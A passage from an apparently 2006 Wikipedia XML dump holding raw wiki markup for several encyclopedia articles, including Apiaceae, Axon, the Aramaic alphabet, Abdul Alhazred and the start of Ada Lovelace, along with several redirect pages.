| familia = '''Apiaceae''' or '''Umbelliferae'''
| subdivision_ranks = [[Genus|Genera]]
| subdivision = 
See text&lt;br /&gt;
Ref: [http://hortiplex.gardenweb.com/plants/p1/gw3000704.html Hortiplex 2003-11-14]
}}

The '''Apiaceae''' or '''Umbelliferae''' (both names are allowed by the [[International Code of Botanical Nomenclature|ICBN]]) are a family of usually aromatic [[plant]]s with hollow stems, including [[parsley]], [[carrot]], and other relatives. It is a large family with about 300 [[genus|genera]] and more than 3,000 [[species]]. The earlier name Umbelliferae derives from the [[inflorescence]] being in the form of a compound &quot;umbel&quot;.

The small flowers are radially symmetrical with 5 small [[sepal]]s, 5 [[petal]]s and 5 [[stamen]]s.

The family contains some highly [[toxic]] plants, such as [[hemlock]], which was used to execute [[Socrates]] and also used to poison arrow tips. It also contains some highly useful plants, such as carrots, parsley, [[caraway]], and [[fennel]]. Many plants in this family, such as [[wild carrot]] have [[estrogen]]ic properties, and have been used as [[folk medicine]] for [[birth control]]. Most notable for this use is the extinct giant fennel, [[silphium]].

Notable members include:
*''Anethum graveolens'' - [[Dill]]
*''Anthriscus cerefolium'' - [[Chervil]]
*''Angelica'' spp. - [[Angelica]]
*''Apium graveolens'' - [[Celery]]
*''Carum carvi'' - [[Caraway]]
*''Centella asiatica'' - [[Gotu kola]] (pennywort)
*''Conium maculatum'' - [[Conium|Poison hemlock]]
*''Coriandrum sativum'' - [[Coriander]]
*''Cuminum cyminum'' - [[Cumin]]
*''Daucus carota'' - [[Carrot]]
*''Eryngium'' spp. - [[Sea holly]]
*''Foeniculum vulgare'' - [[Fennel]]
*''Myrrhis odorata'' - [[Cicely]]
*''Pastinaca sativa'' - [[Parsnip]]
*''Petroselinum crispum'' - [[Parsley]]
*''Pimpinella anisum'' - [[Anise]]
*''Levisticum officinale'' - [[Lovage]]

==Genera==
*''[[Aciphylla]]''
*''[[Actinotus]]''
*''[[Aegopodium]]''
*''[[Aethusa]]''
*''[[Aletes (genus)|Aletes]]''
*''[[Ammi (genus)|Ammi]]''
*''[[Ammoselinum]]''
*''[[Anethum]]''
*''[[Angelica]]''
*''[[Anthriscus]]''
*''[[Apiastrum]]''
*''[[Apium]]''
*''[[Arracacia]]''
*''[[Astrantia]]''
*''[[Athamantha]]''
*''[[Azorella]]''
*''[[Berula]]''
*''[[Bifora]]''
*''[[Bolax]]''
*''[[Bowlesia]]''
*''[[Bunium]]''
*''[[Bupleurum]]''
*''[[Carum]]''
*''[[Caucalis]]''
*''[[Centella]]''
*''[[Chaerophyllum]]''
*''[[Ciclospermum]]''
*''[[Cicuta]]''
*''[[Cnidium]]''
*''[[Coelopleurum]]''
*''[[Conioselinum]]''
*''[[Conium]]''
*''[[Conopodium]]''
*''[[Coriandrum]]''
*''[[Crithmum]]''
[[Image:Apiaceae Pimpinella anisum.jpg|thumb|right|250px|Anise (''Pimpinella anisum'') &lt;br /&gt; from  ''Medical botany by William Woodville''. London, James Phillips, 1793]]
*''[[Cryptotaenia]]''
*''[[Cuminum]]''
*''[[Cyclospermum]]''
*''[[Cymopterus]]''
*''[[Cynosciadium]]''
*''[[Daucosma]]''
*''[[Daucus]]'' [[carrot]]
*''[[Dorema]]''
*''[[Erigenia]]''
*''[[Eryngium]]''
*''[[Eurytaenia]]''
*''[[Falcaria]]''
*''[[Ferula]]''
*''[[Foeniculum]]''
*''[[Glehnia]]''
*''[[Harbouria]]''
*''[[Heracleum]]''
*''[[Hydrocotyle]]'' (is now classified under [[Araliaceae]])
*''[[Laser (plant)|Laser]]''
*''[[Laserpitium]]''
*''[[Levisticum]]''
*''[[Ligusticum]]''
*''[[Lilaeopsis]]''
*''[[Limnosciadium]]''
*''[[Lomatium]]''
*''[[Meum]]''
*''[[Monizia]]''
*''[[Musineon]]''
*''[[Myrrhis]]''
*''[[Neoparrya]]''
*''[[Oenanthe (plant)|Oenanthe]]''
*''[[Oreomyrrhis]]''
*''[[Oreonana]]''
*''[[Oreoxis]]''
*''[[Orogenia]]''
*''[[Osmorhiza]]''
*''[[Oxypolis]]''
*''[[Pastinaca]]''
*''[[Perideridia]]''
*''[[Petroselinum]]''
*''[[Peucedanum]]''
*''[[Pimpinella]]''
*''[[Pleurospermum]]''
*''[[Podistera]]''
*''[[Polytaenia]]''
*''[[Prangos]]''
*''[[Pseudocymopterus]]''
*''[[Pteryxia]]''
*''[[Ptilimnium]]''
*''[[Sanicula]]''
*''[[Scandix]]''
*''[[Selinum]]''
*''[[Seseli]]''
*''[[Shoshonea]]''
*''[[Silaum]]''
*''[[Sison]]''
*''[[Sium]]''
*''[[Smyrnium]]''
*''[[Spermolepis]]''
*''[[Sphenosciadium]]''
*''[[Sympholoma]]''
*''[[Synelcosciadium]]''
*''[[Taenidia]]''
*''[[Tauschia]]''
*''[[Thapsia]]''
*''[[Thaspium]]''
*''[[Tilingia]]''
*''[[Tordylium]]''
*''[[Torilis]]''
*''[[Trachymene]]''
*''[[Trachyspermum]]''
*''[[Trepocarpus]]''
*''[[Turgenia]]''
*''[[Yabea]]''
*''[[Zizia]]''

==External links==
*[http://herbarium.uvsc.edu/Virtual/default.asp?table=Family&amp;f=310&amp;t=Apiaceae UVSC Herbarium - Apiaceae]
*[http://rbg-web2.rbge.org.uk/URC/frames.html?http://rbg-web2.rbge.org.uk/URC/urchomepage.html Umbellifer Resource Centre]
[[Category:Plant families]]
[[Category:Apiaceae|*]]

[[cs:Miříkovité]]
[[da:Skærmplante-familien]]
[[de:Doldenblütler]]
[[es:Apiaceae]]
[[eo:Apiacoj]]
[[fr:Apiaceae]]
[[la:Apiaceae]]
[[lt:Salieriniai]]
[[hu:Ernyősvirágúak]]
[[nl:Schermbloemenfamilie]]
[[ja:セリ科]]
[[no:Skjermplantefamilien]]
[[nn:Skjermplantefamilien]]
[[pl:Selerowate]]
[[fi:Sarjakukkaiskasvit]]
[[sv:Flockblommiga växter]]
[[vi:Họ Hoa tán]]
[[zh:伞形科]]</text>
    </revision>
  </page>
  <page>
    <title>Axon</title>
    <id>958</id>
    <revision>
      <id>41988547</id>
      <timestamp>2006-03-03T01:47:24Z</timestamp>
      <contributor>
        <ip>68.211.228.234</ip>
      </contributor>
      <text xml:space="preserve">An '''axon''', or '''nerve fiber''', is a long slender projection of a nerve cell, or [[neuron]], that conducts [[action potential|electrical impulses]] away from the neuron's [[cell body]] or soma. Axons are in effect the primary transmission lines of the [[nervous system]], and as bundles they help make up [[nerve]]s. Individual axons are microscopic in diameter - typically about one [[micrometre]] across - but may extend to [[macroscopic]] lengths. The longest axons in the human body, for example, are those of the [[sciatic nerve]], which run from the base of the [[spine (anatomy)|spine]] to the big toe of each foot. These single-cell fibers may extend a meter or even longer.    

In [[vertebrate]]s, the axons of many neurons are sheathed in [[myelin]], which is formed by either of two types of [[glia|glial cells]]: [[Schwann cell]]s ensheathing [[PNS|peripheral]] neurons and [[oligodendrocyte]]s insulating those of the [[central nervous system]]. Along myelinated nerve fibers, gaps in the sheath known as [[nodes of Ranvier]] occur at evenly-spaced intervals, enabling an especially rapid mode of electrical impulse propagation called [[saltatory conduction|saltation]]. The demyelination of axons is what causes the multitude of neurological symptoms found in the disease [[Multiple Sclerosis]].

The axons of some neurons branch to form [[axon collateral]]s, along which the bifurcated impulse travels simultaneously to signal more than one other cell.

==Growth &amp; Development==
Growing axons move through their environment via the [[growth cone]], which is at the tip of the axon. The growth cone has a broad sheet like extension called [[lamellipodia]] which contain protrusions called [[filopodia]]. The filopodia are the mechanism by which the entire process adheres to surfaces and explores the surrounding environment. [[Actin]] plays a major role in the mobility of this system. 

Environments with high levels of [[cell adhesion molecule]]s or CAM's create an ideal environment for axonal growth. This seems to provide a &quot;sticky&quot; surface for axons to grow along. Examples of CAM's specific to neural systems include [[N-CAM]], neuroglial CAM or [[NgCAM]], [[TAG-1]], [[MAG]], and [[Dicyclohexylcarbodiimide|DCC]], all of which are part of the [[immunoglobulin]] superfamily. Another set of molecules called [[extracellular matrix adhesion molecule]]s also provide a sticky substrate for axons to grow along. Examples of these molecules include [[laminin]], [[fibronectin]], [[tenascin]], and [[perlecan]]. Some of these are surface bound to cells and thus act as short range attractants or repellants. Others are difusible ligands and thus can have long range effects.

Cells called [[guidepost cells]] assist in the guidance of neuronal axon growth. These cells are typically other, sometimes immature, neurons.

==History==
Some of the first intracellular recordings in a nervous system were made in the late 1930's by K. Cole and H. Curtis. [[Alan Hodgkin]] and [[Andrew Huxley]] also employed the [[squid giant axon]] (1939) and by 1952 they had obtained a full quantitative description of the ionic basis of the action potential.
Hodgkin and Huxley were awarded jointly the [[Nobel Prize in Physiology or Medicine|Nobel Prize]] for this work in 1963.

==See also==
*[[Neuron]]
*[[Dendrite]]
*[[Synapse]]
*[[Axon guidance]]
*[[Electrophysiology]]

== External links ==
* http://www.sfn.org/wrensite/projects/patch_clamp/index.htm

[[Category:Neurons]]
[[Category:Neurophysiology]]

[[da:Akson]]
[[de:Axon]]
[[es:Axón]]
[[fr:Axone]]
[[he:אקסון (סיב עצבי)]]
[[lt:Aksonas]]
[[nl:Axon]]
[[pt:Axónio]]
[[ru:Аксон]]
[[fi:Aksoni]]
[[sv:Axon]]</text>
    </revision>
  </page>
  <page>
    <title>Agma</title>
    <id>959</id>
    <revision>
      <id>15899470</id>
      <timestamp>2005-01-26T00:33:36Z</timestamp>
      <contributor>
        <username>Nohat</username>
        <id>13661</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[velar nasal]]</text>
    </revision>
  </page>
  <page>
    <title>Aramaic alphabet</title>
    <id>960</id>
    <revision>
      <id>42121463</id>
      <timestamp>2006-03-03T23:33:58Z</timestamp>
      <contributor>
        <username>No Guru</username>
        <id>44087</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/68.41.164.15|68.41.164.15]] to last version by PlatypeanArchcow</comment>
      <text xml:space="preserve">{{alphabet}}
The '''Aramaic alphabet''' is an [[abjad]] alphabet designed for writing the [[Aramaic language]]. As with other abjads, the letters all represent [[consonant]]s; a few [[matres lectionis]] are consonants that also represent long [[vowel]]s.

The earliest inscriptions in the [[Aramaic language]] use the [[Phoenician alphabet]]. In time, the alphabet developed into the form shown below. The use of Aramaic as a [[lingua franca]] throughout the [[Middle East]] from the [[8th century BCE]] led to the gradual adoption of the Aramaic alphabet for writing [[Hebrew language|Hebrew]]. Formerly, Hebrew had been written using an alphabet closer in form to that of [[Phoenician alphabet|Phoenician]] (the [[Paleo-Hebrew alphabet]]).

The [[Hebrew alphabet|Hebrew]] and [[Nabataean alphabet|Nabataean]] alphabets are little changed in style from the Aramaic alphabet. The development of [[cursive]] versions of Aramaic led to the creation of the [[Syriac alphabet|Syriac]], [[Palmyrenean alphabet|Palmyrenean]] and [[Mandaic alphabet|Mandaic]] alphabets. These scripts formed the basis of the [[Arabic alphabet|Arabic]], [[Sogdian alphabet|Sogdian]], [[Orkhon script|Orkhon]] and [[Mongolian alphabet|Mongolian]] alphabets. Controversially, it is claimed that the Aramaic alphabet may be the forebear of the [[Indic alphabets]].

Today, [[Biblical Aramaic]], Jewish Neo-Aramaic dialects and the [[Aramaic language]] of the [[Talmud]] are written in the [[Hebrew alphabet]]. [[Syriac language|Syriac]] and Christian Neo-Aramaic dialects are written in the [[Syriac alphabet]]. [[Mandaic language|Mandaic]] is written in the [[Mandaic alphabet]].

== Imperial Aramaic alphabet ==

Redrawn from ''A Grammar of Biblical Aramaic'', Franz Rosenthal; forms are as used in Egypt, [[5th century BCE]].  Names are as in [[Biblical Aramaic]].

{| border=&quot;2&quot; cellpadding=&quot;4&quot; cellspacing=&quot;0&quot; style=&quot;margin: 1em 1em 1em 0; border: 1px #aaa solid; border-collapse: collapse; font-size: 95%;&quot;
|-
!Letter name ta
!Letter form
!Equivalent [[Hebrew alphabet|Hebrew]]
!Pronunciation
|-
|Aleph
|[[image:ialeph.png]]
|style=&quot;font-size: 33px;&quot;|&amp;#1488;
|[[glottal stop]]; &amp;#257;, &amp;#275;
|-
|Beth
|[[image:ibeth.png]]
|style=&quot;font-size: 33px;&quot;|&amp;#1489;
|b, v
|-
|Gimel
|[[image:igimel.png]]
|style=&quot;font-size: 33px;&quot;|&amp;#1490;
|g, gh
|-
|Daleth
|[[image:idaleth.png]]
|style=&quot;font-size: 33px;&quot;|&amp;#1491;
|d, dh
|-
|Heh
|[[image:ihe.png]]
|style=&quot;font-size: 33px;&quot;|&amp;#1492;
|h
|-
|Waw
|[[image:iwaw.png]]
|style=&quot;font-size: 33px;&quot;|&amp;#1493;
|w; &amp;#333;, &amp;#363;
|-
|Zayin
|[[image:izayin.png]]
|style=&quot;font-size: 33px;&quot;|&amp;#1494;
|z
|-
|Heth
|[[image:iheth.png]]
|style=&quot;font-size: 33px;&quot;|&amp;#1495;
|[ħ] ([[voiceless pharyngeal fricative]])
|-
|Teth
|[[image:iteth.png]]
|style=&quot;font-size: 33px;&quot;|&amp;#1496;
|[[emphatic consonant|emphatic]] [tˁ]
|-
|Yodh
|[[image:iyod.png]]
|style=&quot;font-size: 33px;&quot;|&amp;#1497;
|y; &amp;#299;, &amp;#275;
|-
|Kaph
|[[image:ikaph.png]]
|style=&quot;font-size: 33px;&quot;|&amp;#1498; / &amp;#1499;
|k
|-
|Lamed
|[[image:ilamed.png]]
|style=&quot;font-size: 33px;&quot;|&amp;#1500;
|l
|-
|Mem
|[[image:imem.png]]
|style=&quot;font-size: 33px;&quot;|&amp;#1501; / &amp;#1502;
|m
|-
|Nun
|[[image:inun.png]]
|style=&quot;font-size: 33px;&quot;|&amp;#1503; / &amp;#1504;
|n
|-
|Samekh
|[[image:isamekh.png]]
|style=&quot;font-size: 33px;&quot;|&amp;#1505;
|s
|-
|Ayin
|[[image:iayin.png]]
|style=&quot;font-size: 33px;&quot;|&amp;#1506;
|[[voiced pharyngeal fricative]]&lt;/td&gt;&lt;/tr&gt;
|-
|Pe
|[[image:ipe.png]]
|style=&quot;font-size: 33px;&quot;|&amp;#1507; / &amp;#1508;
|p, f
|-
|Sade
|[[image:isade.png]], [[image:isade2.png]]
|style=&quot;font-size: 33px;&quot;|&amp;#1509; / &amp;#1510;
|[[emphatic consonant|emphatic]] s
|-
|Qoph
|[[image:iqoph.png]]
|style=&quot;font-size: 33px;&quot;|&amp;#1511;
|q ([[voiceless uvular plosive]])
|-
|Resh
|[[image:iresh.png]]
|style=&quot;font-size: 33px;&quot;|&amp;#1512;
|r
|-
|Sin/Shin
|[[image:ishin.png]]
|style=&quot;font-size: 33px;&quot;|&amp;#1513;
|usually š; in some words s (probably originally from a [[Proto-Semitic]] [[lateral fricative]])
|-
|Taw
|[[image:itaw.png]]
|style=&quot;font-size: 33px;&quot;|&amp;#1514;
|t, th
|}

== See also ==

* [[Abjad]]
* [[Alphabet]]
* [[Aramaic language]]
* [[Syriac language]]
* [[Mandaic language]]
* [[List of writing systems]]

==External links==

* [http://www.sakkal.com/Arab_Calligraphy_Art3.html Comparison of Aramaic to related alphabets]

[[Category:Abjad writing systems]]
[[Category:Aramaic languages]]

[[ar:آرامية عتيقة (كتابة)]]
[[bg:Арамейска азбука]]
[[cs:Aramejské písmo]]
[[de:Aramäische Schrift]]
[[es:Alfabeto arameo]]
[[eo:Aramea skribo]]
[[fr:Alphabet araméen]]
[[gl:Alfabeto arameo]]
[[ja:アラム文字]]
[[pl:Alfabet aramejski]]
[[pt:Alfabeto aramaico]]
[[ru:Арамейская письменность]]
[[fi:Aramean kirjaimisto]]</text>
    </revision>
  </page>
  <page>
    <title>Arguments for the existence of God</title>
    <id>963</id>
    <revision>
      <id>42078550</id>
      <timestamp>2006-03-03T17:57:14Z</timestamp>
      <contributor>
        <username>Freakofnurture</username>
        <id>77511</id>
      </contributor>
      <comment>rm rfd</comment>
      <text xml:space="preserve">#REDIRECT [[Existence of God]]</text>
    </revision>
  </page>
  <page>
    <title>AWK</title>
    <id>964</id>
    <revision>
      <id>24206475</id>
      <timestamp>2005-09-28T02:12:04Z</timestamp>
      <contributor>
        <username>Antandrus</username>
        <id>57658</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/65.95.19.75|65.95.19.75]] to last version by Cavrdg</comment>
      <text xml:space="preserve">'''AWK''' may refer to 

*[[AWK programming language ]]
*The [[National Rail]] code for [[Adwick railway station]], [[United Kingdom]]. External links: {{Sildb prim|AWK|station information}}; {{Mmukpcloc|DN6|7AQ}}; {{Brldb prim|AWK|live departures and arrivals}}. 

{{TLAdisambig}}</text>
    </revision>
  </page>
  <page>
    <title>As We May Think</title>
    <id>965</id>
    <revision>
      <id>41838062</id>
      <timestamp>2006-03-02T01:50:40Z</timestamp>
      <contributor>
        <ip>200.203.21.111</ip>
      </contributor>
      <text xml:space="preserve">{{mergeto|Memex}}
[[Vannevar Bush]]'s essay '''''As We May Think''''', first published in ''[[The Atlantic Monthly]]'' in July [[1945]], argued that as humans turned from war, scientific efforts should shift from increasing physical abilities to making all previous collected [[human]] [[knowledge]] more accessible.

The article was a reworked and expanded version of his 1939 ''Mechanization and the Record''. The system, which he called [[memex]], was described as based on what was thought, at the time, to be the wave of the future: Ultra high resolution [[microfilm]] reels, coupled to multiple screen viewers and cameras, by electromechanical controls. The ''Atlantic Monthly'' article was followed, in November [[1945]], by a [[Life magazine]] article which showed illustrations of the proposed memex desk and automatic typewriter.

''As We May Think'' predicted many kinds of technology invented after its publication, including [[hypertext]], [[personal computers]], the [[Internet]], the [[World Wide Web]], [[speech recognition]], and [[online encyclopedia]]s such as Wikipedia: &quot;Wholly new forms of encyclopedias will appear, ready-made with a mesh of associative trails running through them, ready to be dropped into the memex and there amplified.&quot;

==External links==
*[http://graphics.cs.brown.edu/html/info/vannevar_bush.html &quot;As We May Think&quot;  - A Celebration of Vannevar Bush's 1945 Vision, at Brown University]

===Online versions===
*[http://www.theatlantic.com/doc/194507/bush ''As we may think'' from the ''Atlantic Monthly'' archives]
*[http://www.ps.uni-sb.de/~duchier/pub/vbush/vbush-all.shtml The text of ''As we may think''] (accessible without subscription and with permission of ''Atlantic Monthly'')
*[http://www.cs.sfu.ca/CC/365/mark/material/notes/Chap1/VBushArticle/ Another permitted copy of the article]

[[Category:Essays]]

[[da:As We May Think]]
[[fr:As We May Think]]
[[pl:As We May Think]]
[[pt:As We May Think]]</text>
    </revision>
  </page>
  <page>
    <title>American shot</title>
    <id>966</id>
    <revision>
      <id>38701577</id>
      <timestamp>2006-02-08T01:40:25Z</timestamp>
      <contributor>
        <username>Can't sleep, clown will eat me</username>
        <id>603177</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/207.200.116.195|207.200.116.195]] to last version by Jahsonic</comment>
      <text xml:space="preserve">&quot;'''American shot'''&quot; is a translation of a phrase from [[France|French]] [[film criticism]], &quot;''plan Americain''&quot; and refers to a medium-long (&quot;knee&quot;) [[Shot (film)|film shot]] of a group of characters, who are arranged so that all are visible to the camera. The usual arrangement is for the actors to stand in an irregular line from one side of the screen to the other, with the actors at the end coming forward a little and standing more in profile than the others. The purpose of the composition is to allow complex [[dialogue]] scenes to be played out without changes in camera position. In some literature, this is simply referred to as a 3/4 shot.

The French critics thought it was characteristic of [[Cinema of the United States|American film]]s of the [[1930s]] or [[1940s]]; however, it was mostly characteristic of ''cheaper'' American movies, such as [[Charlie Chan]] mysteries where people collected in front of a fireplace or at the foot of the stairs in order to explain what happened a few minutes ago.

[[Category:Film techniques]]
[[de:Einstellungsgröße]]
[[fr:Plan américain]]</text>
    </revision>
  </page>
  <page>
    <title>Acute disseminated encephalomyelitis</title>
    <id>967</id>
    <revision>
      <id>41970338</id>
      <timestamp>2006-03-02T23:25:50Z</timestamp>
      <contributor>
        <username>Arcadian</username>
        <id>104523</id>
      </contributor>
      <comment>clean up using [[Wikipedia:AutoWikiBrowser|AWB]]</comment>
      <text xml:space="preserve">{{DiseaseDisorder infobox |
  Name        = Acute disseminated encephalitis |
  ICD10       = G04.0 |
  ICD9        = {{ICD9|323}} |
}}
'''Acute disseminated encephalomyelitis''' ('''ADEM''') is an immune mediated [[disease]] of [[human brain|brain]]. It usually occurs following a [[virus (biology)|viral]] [[infection]] or [[vaccination]], but it may also appear spontaneously.

There are multiple inflammatory cell deposits in the brain, particularly in the section 
called [[white matter]]. Although it occurs in all ages, most reported cases are in children and [[Adolescence|adolescents]].

It has an abrupt onset and a monophasic course. Symptoms usually begins 1-3 weeks after infection or vaccination. Major symptoms are [[fever]], [[headache]], drowsiness, [[seizure]]s and [[coma]]. Although initially the symptoms are usually mild, later in the course of the disease patients may even die, if they are not treated properly. Some patients recover completely, while others have permanent neurological impairments.

The first treatment is usually [[steroid]]s and [[intensive care]] is often required.

== External links ==
* [http://www.myelitis.org/adem.htm Acute Disseminated Encephalomyelitis (ADEM)]

[[Category:Autoimmune diseases]]
[[Category:Neurological disorders]]

[[de:Akute disseminierte Enzephalomyelitis]]</text>
    </revision>
  </page>
  <page>
    <title>Adrenoleukodistrophy</title>
    <id>968</id>
    <revision>
      <id>15899478</id>
      <timestamp>2002-05-22T15:56:19Z</timestamp>
      <contributor>
        <ip>129.109.159.253</ip>
      </contributor>
      <comment>*</comment>
      <text xml:space="preserve">#REDIRECT [[Adrenoleukodystrophy]] 
</text>
    </revision>
  </page>
  <page>
    <title>Ataxia</title>
    <id>969</id>
    <revision>
      <id>39430487</id>
      <timestamp>2006-02-13T02:12:34Z</timestamp>
      <contributor>
        <username>Robotico</username>
        <id>367893</id>
      </contributor>
      <minor />
      <text xml:space="preserve">{{otheruses}}
'''Ataxia''' (from [[Greek (language)|Greek]] ''ataxiā'', meaning failure to put in order) is unsteady and clumsy motion of the [[limb]]s or [[torso|trunk]] due to a failure of the gross coordination of [[muscle]] movements.

Ataxia often occurs when parts of the nervous system that control movement are damaged. People with ataxia experience a failure of muscle control in their arms and legs, resulting in a lack of balance and coordination or a disturbance of gait. While the term ataxia is primarily used to describe this set of symptoms, it is sometimes also used to refer to a family of disorders. It is not, however, a specific diagnosis. 

Most disorders that result in ataxia cause cells in the part of the brain called the [[cerebellum]] to degenerate, or atrophy. Sometimes the spine is also affected. The phrases ''cerebellar degeneration'' and ''spinocerebellar degeneration'' are used to describe changes that have taken place in a person’s nervous system; neither term constitutes a specific diagnosis. Cerebellar and spinocerebellar degeneration have many different causes. The age of onset of the resulting ataxia varies depending on the underlying cause of the degeneration. 

Many ataxias are hereditary and are classified by chromosomal location and pattern of inheritance: autosomal dominant, in which the affected person inherits a normal gene from one parent and a faulty gene from the other parent; and autosomal recessive, in which both parents pass on a copy of the faulty gene. Among the more common inherited ataxias are [[Friedreich's ataxia]] and Machado-Joseph disease. Sporadic ataxias can also occur in families with no prior history. 

Ataxia can also be acquired. Conditions that can cause acquired ataxia include [[stroke]], [[multiple sclerosis]], tumors, [[lesion]]s of the [[central nervous system]] or spinal cord, alcoholism, peripheral neuropathy, metabolic disorders, and vitamin deficiencies. 

[[Dysdiadochokinesia]] is a sign of cerebellar ataxia.

[[University of Minnesota]] researchers suggested in 2006 that [[Abraham Lincoln]] may have suffered from spinocerebellar ataxia type 5, thus accounting for his clumsy gait.[http://www.startribune.com/1244/story/198437.html][http://www.breitbart.com/news/2006/01/27/D8FD29HG0.html]

== See also ==
* [[Spinocerebellar ataxia]]
* [[Sensory ataxia]]
* [[Gait abnormality]]

== External links ==
* [http://www.ninds.nih.gov/disorders/ataxia/ataxia.htm National Institute of Neurological Disorders and Stroke (NINDS)]
* [http://www.ataxia.org National Ataxia Foundation]
* [http://www.ataxia.org.uk Ataxia UK]


[[Category:Neurological disorders]]
[[Category:Symptoms]]

[[de:Ataxie]]
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[[fi:Ataksia]]</text>
    </revision>
  </page>
  <page>
    <title>AmbientCalculusOnline</title>
    <id>970</id>
    <revision>
      <id>15899480</id>
      <timestamp>2002-10-09T13:55:02Z</timestamp>
      <contributor>
        <username>Magnus Manske</username>
        <id>4</id>
      </contributor>
      <minor />
      <comment>#REDIRECT [[Ambient calculus]]</comment>
      <text xml:space="preserve">#REDIRECT [[Ambient calculus]]</text>
    </revision>
  </page>
  <page>
    <title>Abdul Alhazred</title>
    <id>972</id>
    <revision>
      <id>41651630</id>
      <timestamp>2006-02-28T20:30:09Z</timestamp>
      <contributor>
        <username>Fouad Bey</username>
        <id>346146</id>
      </contributor>
      <text xml:space="preserve">'''Abdul Alhazred''', or the '''Mad Arab''', is a [[fictional character]] created by the horror writer [[H. P. Lovecraft]]. The term &quot;Mad Arab&quot; in reference to Alhazred is always capitalised and used in the manner of an official title such as another person would be called &quot;Prince&quot; or &quot;Sir&quot; and the term can actually be used in lieu of Alhazred's name as a synonym.

''Abdul Alhazred'' is not a real [[Arabic name]], and seems to contain the Arabic definite article morpheme twice in a row (rather anomalous in terms of Arabic grammar).  The more proper Arabic form might be ''Abd-el-Hazred'' or simply ''Abdul Hazred'' (with a single definite article), although these are still anomalous, as ''Hazred'' is not one of the [[99 Names of God]]. In [[Arabic language|Arabic]] translations, his name has appeared as ''Abdullah Alḥaẓred'' (عبدالله الحظرد). While this Arabic-alphabet spelling of ''Alhazred'' has no real meaning in the Arabic language, it is reminiscent of the verb [[triliteral|root]] ح ظ ر meaning &quot;to forbid.&quot;

According to Lovecraft's &quot;History of the [[Necronomicon]]&quot; (written [[1927]], first published [[1938]]), Alhazred was:

:[A] mad poet of [[Sanaá]], in [[Yemen]], who is said to have flourished during the period of the [[Umayyad | Ommiade]] caliphs, circa [[700]] A.D. He visited the ruins of [[Babylon]] and the subterranean secrets of [[Memphis, Egypt |Memphis]] and spent ten years alone in the great southern desert of [[Arabia]] &amp;mdash; the [[Rub' al Khali|Roba el Khaliyeh]] or &quot;Empty Space&quot; of the ancients &amp;mdash; and &quot;Dahna&quot; or &quot;Crimson&quot; desert of the modern Arabs, which is held to be inhabited by protective evil spirits and monsters of death. Of this desert many strange and unbelievable marvels are told by those who pretend to have penetrated it. In his last years Alhazred dwelt in [[Damascus]].

In [[730]], while still living in Damascus, Alhazred supposedly authored in [[Arabic language|Arabic]] a book of ultimate evil, ''al Azif'', which would later become known as the ''[[Necronomicon]]''.

{{spoiler}}

Those who have any dealings with the Necronomicon usually come to an unpleasant end, and Alhazred was no exception. Again according to Lovecraft:

:Of his final death or disappearance ([[738]] A.D.) many terrible and conflicting things are told. He is said by [[Ibn Khallikan]] ([[13th century]] biographer) to have been seized by an invisible monster in broad daylight and devoured horribly before a large number of fright-frozen witnesses. Of his madness many things are told. He claimed to have seen fabulous [[Irem of the Pillars|Irem]], or City of Pillars, and to have found beneath the ruins of a certain [[The Nameless City|nameless desert town]] the shocking annals and secrets of a race older than mankind. He was only an indifferent [[Muslim|Moslem]], worshipping unknown entities whom he called [[Yog-Sothoth]] and [[Cthulhu]].

[[August Derleth]] later made alterations to the biography of Alhazared. One change was redating Alhazared's death to [[731]]. Derleth further wrote on the final fate of Alhazred in his story &quot;[[The Keeper of the Key]]&quot;, first published in May, [[1951]]. In this story [[Dr. Laban Shrewsbury]] (a recurring Derleth character) and his assistant at the time, [[Naylan Colum]], discovered Alhazred's burial site. More specifically they were heading a caravan from [[Salalah]], [[Oman]], and crossed the border into [[Yemen]]. There they found the unexplored desert area the Necronomicon names as &quot;Roba el Ehaliyeh&quot; or &quot;Roba el Khaliyeh&quot; -- perhaps a form of &quot;Rabia al-Awliya&quot; which, again, is not proper Arabic, but could be an allusion to the Sufi Saint Rabia (pure conjecture). More likely it refers the [[Empty Quarter]] or &quot;Rub al Khali&quot;. At the center of the area they discovered [[The Nameless City|the Nameless City]], a domain of [[Hastur]]. Shrewsbury, as an old agent of Hastur and devoted enemy of his half-brother [[Cthulhu]], crossed its gates in search of Alhazred's burial site. He indeed found the gate of Alhazred's burial chamber and learned of his fate. Alhazred was kidnapped in Damascus and brought to the Nameless City, where he had earlier studied and learned some of Necronomicon's secrets. As punishment for his betrayal of their secrets, Alhazred was tortured. Then they blinded him and severed his tongue, and finally executed him. The entrance to the chamber warned against disturbing him. But Shrewbury proceeded in entering the chamber and opening the sarcophagus. Though only rugs, bones and dust remained of Alhazred, the sarcophagus also contained an incomplete personal copy of the Necronomicon, written in the [[Arabic alphabet]]. Then Shrewsbury used [[Necromancy]] to recall Alhazred's spirit and ordered it to draw a map of the world as he knew it. After obtaining the map, which revealed the location of [[R'lyeh]] and other secret places, Shrewsbury finally let Alhazred return to his eternal rest.

==Pop culture==

[[Roberta Williams]] used the name &quot;Abdul Alhazred&quot; as the name of the villain in [[King's Quest 6]].

Marvel comics has also used the name Abdul Alhazred as a supervillian working for Apocalypse.

==See also==
*[[Cthulhu mythos biographies]]

[[Category:Cthulhu mythos]]
[[Category:Fictional Arabs|Alhazred, Abdul]]
[[Category:Fictional writers|Alhazred, Abdul]]

[[es:Abdul Alhazred]]
[[fr:Abdul al-Hazred]]
[[ja:アブドル・アルハズラット]]
[[pl:Abdul Alhazred]]
[[sv:Abdul Alhazred]]</text>
    </revision>
  </page>
  <page>
    <title>A priori and a posterior knowledge</title>
    <id>973</id>
    <revision>
      <id>18021014</id>
      <timestamp>2005-07-02T17:24:33Z</timestamp>
      <contributor>
        <username>Jyril</username>
        <id>39573</id>
      </contributor>
      <minor />
      <comment>avoid double redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Knowledge]]</text>
    </revision>
  </page>
  <page>
    <title>Ada Lovelace</title>
    <id>974</id>
    <revision>
      <id>41616123</id>
      <timestamp>2006-02-28T15:15:49Z</timestamp>
      <contributor>
        <username>Schutz</username>
        <id>27196</id>
      </contributor>
      <comment>Rvv by 168.9.44.2</comment>
      <text xml:space="preserve">[[Image:Ada Lovelace 1838.jpg|thumb|200px|right|Ada Lovelace]]
'''Augusta Ada King, Countess of Lovelace''' ([[December 10]], [[1815]] &amp;ndash; [[November 27]], [[1852]]) is mainly known for having written a description of 
